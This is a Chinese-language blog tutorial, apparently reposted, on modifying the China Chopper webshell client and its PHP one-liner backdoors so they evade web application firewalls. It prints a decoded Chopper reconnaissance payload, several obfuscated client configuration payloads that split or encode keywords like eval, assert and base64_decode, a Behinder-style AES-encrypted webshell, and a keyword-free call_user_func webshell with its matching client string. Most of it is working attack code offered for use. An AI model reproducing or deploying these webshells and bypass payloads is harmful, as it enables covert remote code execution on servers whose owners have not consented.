zoukankan      html  css  js  c++  java
  • 渗透-简单制作过waf的中国菜刀

    0x01 简单分析

    web渗透中很常见的情况,用菜刀连接免杀的一句话木马连不上,有waf

    除了变形一句话木马为免杀一句话,我们还需要来制作过waf的菜刀进行连接、

    这里用的一句话为

    来看看菜刀连接一句话的时候的包

    x=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19yd
    W50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTsk
    Uj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW
    9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3Vu
    YW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D

    把其中url编码转换后就很直观了:

    x=@eval(base64_decode($_POST[z0]));
    &z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ
    1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKC
    JBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2d
    ldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==

    这里可以看到z0就是执行的操作代码了,base64解密一下z0参数的值

    @ini_set("display_errors","0");
    @set_time_limit(0);
    @set_magic_quotes_runtime(0);
    echo("->|");;
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.=" ";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';
    $usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();

    我们可以简单对这里传递的参数、形式进行变化

    1.去掉base64加密 把函数的z0参数用get方式传递

    2.可以通过get传递一个 Base64_decode

    这里把base64_decode通过get方式传到post中,但是还是被杀

     通过测试发现 还需要改

     $_GET[bypass]($_POST([z0]) 中的$_POST

    换成 

    x=@eval($_GET[bypass](${'_P'.'OST'}[z0]));&z0=cGhwaW5mbygpOw

     

    很多钟方式都可以变化。。

    0x02 制作过waf菜刀

     如何换成菜刀可以用的呢 打开 caidao2016 这个菜刀配置文件在外面 不用在逆向改很方便

    <PHP_BASE>
    array_map("ass"."ert",array("ev"."Al("\$xx%%3D\"Ba"."SE6"."4_dEc"."OdE\";@ev"."al(\$xx('%s'));");"));
    </PHP_BASE>

     @eval($_GET[bypass](${'_P'.'OST'}[z0]));&z0=%s  中间替换成这几句就可以过狗了 get需要

     11.php?bypass=Base64_decode  这样连接 如果嫌麻烦可以换成POST

    <PHP_BASE>
    @eval($_POST[bypass](${'_P'.'OST'}[z0]));&z0=%s&bypass=Base64_decode
    </PHP_BASE>

    2. 可以把eval换成assert

    <PHP_BASE>
    @assert(base64_decode($_POST[v]));&v=%s
    </PHP_BASE>

    3.我们可以把base64_decode这个关键词base64编码 一句话来解码 这种方法也是比较推荐的能达到0关键词

    <PHP_BASE>
    ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpZF0pKTs%%3D&id=%s
    </PHP_BASE>

    总体来说方法很多 改菜刀端其实和改一句话一样 甚至

    <PHP_BASE>eval(base64_decode('%s'));</PHP_BASE>

     也是可以的 这里最推荐 把关键词都加密

    0x03  仿冰蝎思路菜刀

    他的原理是

    1.首先客户端以Get形式发起带密码的握手请求,服务端产生随机密钥并写入Session。

    2.客户端将源代码,如assert|eval("phpinfo();”)利用AES加密,发送至服务端,服务端收到之后先进行AES解密,得到中间结果字符串assert|eval("phpinfo();")。

    3.服务端利用explode函数将拆分为一个字符串数据,索引为0的元素为字符串assert,索引为1的元素为字符串eval("phpinfo();")。

    4.以可变函数方式调用索引为0的数组元素,参数为索引为1的数组元素,即为assert("eval("phpinfo;")")

    但是菜刀不支持我们这样改 但是可也把他的思路引进到菜刀里面 首先我们看他的一句话

    <?phpsession_start();if (isset($_GET['pass'])){
        $key=substr(md5(uniqid(rand())),16);
        $_SESSION['k']=$key;
        print $key;}else{
        $key=$_SESSION['k'];
        $decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", $key);
        $arr=explode('|',$decrptContent);
        $func=$arr[0];
        $params=$arr[1];
        $func($params);}?>

    我们可以把eval 放到post里面 从而让一句话没有关键词 简单的写一个

    <?php
    $decrpt = $_POST['x'];
    $arrs = explode("|", $decrpt)[1];
    $arrs = explode("|", base64_decode($arrs));
    call_user_func($arrs[0],$arrs[1]);
    ?>

    这里学了php的同学很容易看懂 把接受的内容 通过explode函数分割 然后base64解密 调用call_user_func回调函数来执行

    菜刀端

     |YXNzZXJ0fGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbaWRdKSk7|&id=%s 

    其中base64解密内容为  assert|eval(base64_decode($_POST[id])); 


    新型的菜刀应该先冰蝎靠近,尽量让关键词在传输过程中,php本身也有很多其他加密不需要扩展的

    所以绕起来很方便的。新型菜刀应该要向高度自定义靠近,免杀就更加简单

  • 相关阅读:
    使用auto_prepend_file和auto_append_file
    maven导入外部jar包的方法
    scala的多种集合的使用(3)之遍历集合的方法
    scala的多种集合的使用(4)之列表List(ListBuffer)的操作
    scala的多种集合的使用(2)之集合常用方法
    UltraEdit文本行数多变一和一边多
    scala的多种集合的使用(1)之集合层级结构与分类
    用Case类生成模板代码
    寻:IE总弹出广告窗口方法? Hello
    ASP.net中提示"分析器错误""未能加载类型" Hello
  • 原文地址:https://www.cnblogs.com/-qing-/p/10827118.html
Copyright © 2011-2022 走看看